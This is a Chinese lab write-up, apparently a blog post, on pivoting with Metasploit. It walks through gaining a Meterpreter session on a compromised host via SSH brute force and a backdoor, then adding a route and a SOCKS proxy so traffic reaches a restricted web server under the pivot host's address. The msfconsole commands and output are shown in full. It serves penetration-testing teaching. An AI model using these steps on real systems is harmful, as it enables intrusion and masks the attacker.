跳板攻击实验
一、跳板攻击
跳板攻击指的是攻击者将已经被成功渗透的计算机作为跳板来攻击别的计算机。假设有一个被限制访问的Web服务器。这个服务器的安全措施设定了只有Alice的计算机可以访问。这种情况将需要首先渗透并控制Alice的计算机,然后利用它去连接限制访问的目标Web服务器。这意味着以Alice的计算机作为跳板,将我们发出的所有攻击流量通过Alice的计算机转发给目标Web服务器。如下图:
二、实验环境
- Mallory:Kali Linux(10.10.10.128)
- Alice:Metasploitable_ubuntu(做网关用的靶机)(10.10.10.254)
- Charlie:owasp 0.94 (10.10.10.129)
三、实验步骤
1、渗透控制 Alice
渗透进入Alice的计算机,并且取得目标系统的Meterpreter命令行控制权限,以ssh爆破为例,先利用 ssh 服务弱口令拿到 Alice 的shell,再利用backdoor.elf 获取 meterpreter 命令行
具体实验可参见:https://www.cnblogs.com/z9m8r8/articles/15414343.html
2、添加动态路由
msf6 > route print [*] There are currently no routes defined. msf6 > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/linux root @ metasploitable 10.10.10.128:4444 -> 10.10.10.254:56205 #已控制的 Alice (uid=0, gid=0, euid=0, egid=0)
@ metasploitable.localdo... msf6 > route add 10.10.10.0/24 1 [*] Route added msf6 > route print IPv4 Active Routing Table ========================= Subnet Netmask Gateway ------ ------- ------- 10.10.10.0 255.255.255.0 Session 1 [*] There are currently no IPv6 routes defined.
3、建立代理服务器
建立一个代理服务器将所有的请求通过Meterpreter会话传给目标Web服务器,以auxiliary/server/socks_proxy 为例:
msf6 > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > show options Module options (auxiliary/server/socks_proxy): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no Proxy password for SOCKS5 listener SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on USERNAME no Proxy username for SOCKS5 listener VERSION 5 yes The SOCKS version to use (Accepted: 4a , 5) Auxiliary action: Name Description ---- ----------- Proxy Run a SOCKS proxy server msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1 SRVHOST => 127.0.0.1 msf6 auxiliary(server/socks_proxy) > run [*] Auxiliary module running as background job 0.
4、使用代理联网(以Firefox为例)
5、访问目标服务器
(1)添加路由后的实验情况
(2)移除路由后的实验情况
msf6 > route remove 10.10.10.0/24 1 [*] Route removed msf6 > route [*] There are currently no routes defined. msf6 >
四、总结回顾
- 首先渗透Alice的计算机。
- 接着通过在Alice的计算机上安装的Meterpreter添加了一条到Charlie的限制访问服务器的路由项。
- 然后建立了一个socks代理服务器,以实现将所有的网络数据流量都自动地通过Meterpreter发送到Alice的计算机上。
- 根据新建立的socks代理服务器地址重新配置了系统的代理设置文件。
- 将浏览器的代理地址设置为socks的地址。
- 最终我们以被渗透的Alice的计算机IP地址来访问目标Web服务器。不管我们对Web服务器做了什么操作,在Web服务器眼中这一切都是Alice的计算机做的。然而,我们的真实IP却是10.10.10.128
五、参考文献
《精通Metasploit渗透测试》
不忘初心,方得始终。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?